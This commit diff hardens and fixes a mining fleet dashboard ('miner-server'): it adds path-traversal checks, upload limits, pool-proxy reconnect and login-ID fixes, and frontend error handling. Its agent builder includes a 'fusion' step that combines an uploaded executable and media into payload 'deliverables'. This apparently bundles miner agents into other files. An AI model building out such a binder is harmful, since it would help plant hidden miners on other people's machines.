Fix bugs found in full security and stability audit.
Harden artifact paths and fusion uploads, repair pool reconnect and login ID tracking, fix agent/fusion/frontend regressions, and refresh PROBLEMS.md with the full findings list.
This commit is contained in:
@@ -60,6 +60,9 @@ func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||
limit = l
|
||||
}
|
||||
if limit > 1000 {
|
||||
limit = 1000
|
||||
}
|
||||
samples, err := h.db.GetHashrateHistory(id, limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
@@ -78,6 +81,9 @@ func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) {
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||
limit = l
|
||||
}
|
||||
if limit > 1000 {
|
||||
limit = 1000
|
||||
}
|
||||
shares, err := h.db.GetRecentShares(limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
|
||||
@@ -199,6 +199,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
|
||||
// Clean the path
|
||||
path := strings.TrimPrefix(r.URL.Path, "/")
|
||||
if path == "" || strings.Contains(path, "..") {
|
||||
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
||||
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
||||
return
|
||||
}
|
||||
fullPath := filepath.Join(webRoot, path)
|
||||
|
||||
// Check if the file exists
|
||||
|
||||
@@ -176,27 +176,31 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
file, header, err := r.FormFile("prep_exe")
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||
return
|
||||
if req.FusionEnabled {
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else if err == nil {
|
||||
file.Close()
|
||||
}
|
||||
defer file.Close()
|
||||
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||
req.FusionMediaBaseName = header.Filename
|
||||
}
|
||||
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
||||
req.FusionOutputName = header.Filename
|
||||
}
|
||||
if req.FusionPayloadKind == "" {
|
||||
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||
}
|
||||
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else {
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||
@@ -327,19 +331,28 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
if _, err := h.db.GetBuild(buildID); err != nil {
|
||||
http.Error(w, "Build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||||
if name == "" {
|
||||
if name == "" || strings.Contains(name, "..") {
|
||||
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||||
path := filepath.Join(buildDir, name)
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
// Paired media may live in fusion export dir — try deliverables folder from query
|
||||
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
|
||||
path = filepath.Join(exportDir, name)
|
||||
path, err := safePathUnderRoot(buildDir, name)
|
||||
if err != nil {
|
||||
if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" {
|
||||
title = sanitizeFileName(filepath.Base(title))
|
||||
deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir)
|
||||
path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||
return
|
||||
@@ -570,6 +583,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||
log.Printf("Failed to record build: %v", err)
|
||||
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
resp := BuildResponse{
|
||||
@@ -785,6 +799,9 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
if header.Size > FusionMaxUploadBytes {
|
||||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||
}
|
||||
if header.Size < 0 {
|
||||
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
|
||||
}
|
||||
baseName := filepath.Base(header.Filename)
|
||||
if baseName == "" || baseName == "." {
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
@@ -807,7 +824,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
written, err := io.Copy(out, file)
|
||||
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
|
||||
out.Close()
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
@@ -1049,6 +1066,30 @@ func sanitizeFileName(name string) string {
|
||||
return replacer.Replace(name)
|
||||
}
|
||||
|
||||
// safePathUnderRoot resolves name under root and rejects traversal escapes.
|
||||
func safePathUnderRoot(root, name string) (string, error) {
|
||||
if name == "" || strings.Contains(name, "..") {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
cleanName := filepath.Clean(name)
|
||||
if filepath.IsAbs(cleanName) {
|
||||
return "", fmt.Errorf("invalid path")
|
||||
}
|
||||
absRoot, err := filepath.Abs(root)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
full := filepath.Join(absRoot, cleanName)
|
||||
absFull, err := filepath.Abs(full)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
|
||||
return "", fmt.Errorf("path escapes root")
|
||||
}
|
||||
return absFull, nil
|
||||
}
|
||||
|
||||
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(status)
|
||||
|
||||
@@ -63,7 +63,8 @@ type Proxy struct {
|
||||
conn net.Conn
|
||||
reader *bufio.Reader
|
||||
connected bool
|
||||
requestID int
|
||||
requestID int
|
||||
loginRequestID int
|
||||
currentJob *Job
|
||||
jobSubscribed bool
|
||||
stopCh chan struct{}
|
||||
@@ -260,7 +261,11 @@ func (p *Proxy) SubmitShare(agentID, wallet, jobID, nonce, hash string, onResult
|
||||
}
|
||||
|
||||
func (p *Proxy) authenticate() error {
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
loginID := p.requestID
|
||||
p.loginRequestID = loginID
|
||||
p.mu.Unlock()
|
||||
|
||||
// Login request
|
||||
loginParams := []interface{}{
|
||||
@@ -271,7 +276,7 @@ func (p *Proxy) authenticate() error {
|
||||
|
||||
paramsData, _ := json.Marshal(loginParams)
|
||||
loginReq := StratumRequest{
|
||||
ID: p.requestID,
|
||||
ID: loginID,
|
||||
Method: "login",
|
||||
Params: paramsData,
|
||||
}
|
||||
@@ -317,7 +322,22 @@ func (p *Proxy) readLoop() {
|
||||
}
|
||||
|
||||
p.scheduleReconnect()
|
||||
return
|
||||
// Wait for reconnect before resuming reads (readLoop stays alive).
|
||||
for i := 0; i < 600; i++ {
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
p.mu.RLock()
|
||||
ok := p.connected && p.reader != nil
|
||||
p.mu.RUnlock()
|
||||
if ok {
|
||||
break
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
line = strings.TrimSpace(line)
|
||||
@@ -367,7 +387,11 @@ func (p *Proxy) handleResponse(resp StratumResponse) {
|
||||
return
|
||||
}
|
||||
|
||||
if resp.ID == 1 {
|
||||
p.mu.RLock()
|
||||
loginID := p.loginRequestID
|
||||
p.mu.RUnlock()
|
||||
|
||||
if resp.ID == loginID {
|
||||
// Login response
|
||||
var loginResult struct {
|
||||
ID string `json:"id"`
|
||||
|
||||
@@ -9,6 +9,8 @@ interface Props {
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
onBulkAction: (action: string) => void;
|
||||
onSelectAllFiltered?: () => void;
|
||||
filteredCount?: number;
|
||||
bulkBusy: boolean;
|
||||
}
|
||||
|
||||
@@ -18,6 +20,8 @@ export default function FleetToolbar({
|
||||
onChange,
|
||||
selectedCount,
|
||||
onBulkAction,
|
||||
onSelectAllFiltered,
|
||||
filteredCount,
|
||||
bulkBusy,
|
||||
}: Props) {
|
||||
const tags = collectFleetTags(agents);
|
||||
@@ -78,6 +82,14 @@ export default function FleetToolbar({
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{onSelectAllFiltered && (filteredCount ?? 0) > 0 && selectedCount === 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={onSelectAllFiltered}>
|
||||
Select all filtered ({filteredCount})
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{selectedCount > 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<span className="font-tech">{selectedCount} selected</span>
|
||||
|
||||
@@ -11,6 +11,7 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
useEffect(() => {
|
||||
const token = getStoredAuth();
|
||||
if (!token) {
|
||||
setAuthed(false);
|
||||
setReady(true);
|
||||
return;
|
||||
}
|
||||
@@ -19,20 +20,27 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
setAuthed(r.ok);
|
||||
setReady(true);
|
||||
})
|
||||
.catch(() => setReady(true));
|
||||
.catch(() => {
|
||||
setAuthed(false);
|
||||
setReady(true);
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleLogin = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setErr('');
|
||||
const token = btoa(`${user}:${pass}`);
|
||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||
if (!res.ok) {
|
||||
setErr('Login failed — check username and password.');
|
||||
return;
|
||||
try {
|
||||
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
|
||||
if (!res.ok) {
|
||||
setErr('Login failed — check username and password.');
|
||||
return;
|
||||
}
|
||||
setStoredAuth(user, pass);
|
||||
setAuthed(true);
|
||||
} catch {
|
||||
setErr('Cannot reach server — check that miner-server is running.');
|
||||
}
|
||||
setStoredAuth(user, pass);
|
||||
setAuthed(true);
|
||||
};
|
||||
|
||||
if (!ready) {
|
||||
|
||||
@@ -35,6 +35,16 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
|
||||
@@ -48,6 +58,7 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
|
||||
@@ -45,6 +45,12 @@ export default function AgentsPage() {
|
||||
.finally(() => setLoading(false));
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!selectedAgent) return;
|
||||
setNotesDraft(selectedAgent.notes || '');
|
||||
setTagsDraft((selectedAgent.tags || []).join(', '));
|
||||
}, [selectedAgent?.id]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!isConnected) return;
|
||||
setAgents(liveAgents);
|
||||
@@ -52,8 +58,6 @@ export default function AgentsPage() {
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) {
|
||||
setSelectedAgent(updated);
|
||||
setNotesDraft(updated.notes || '');
|
||||
setTagsDraft((updated.tags || []).join(', '));
|
||||
} else {
|
||||
setSelectedAgent(null);
|
||||
setLogContent('');
|
||||
|
||||
@@ -128,6 +128,9 @@ export default function DashboardPage() {
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
alert(err instanceof Error ? err.message : 'Bulk command failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
@@ -269,6 +272,8 @@ export default function DashboardPage() {
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
filteredCount={filteredAgents.length}
|
||||
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
|
||||
Reference in New Issue
Block a user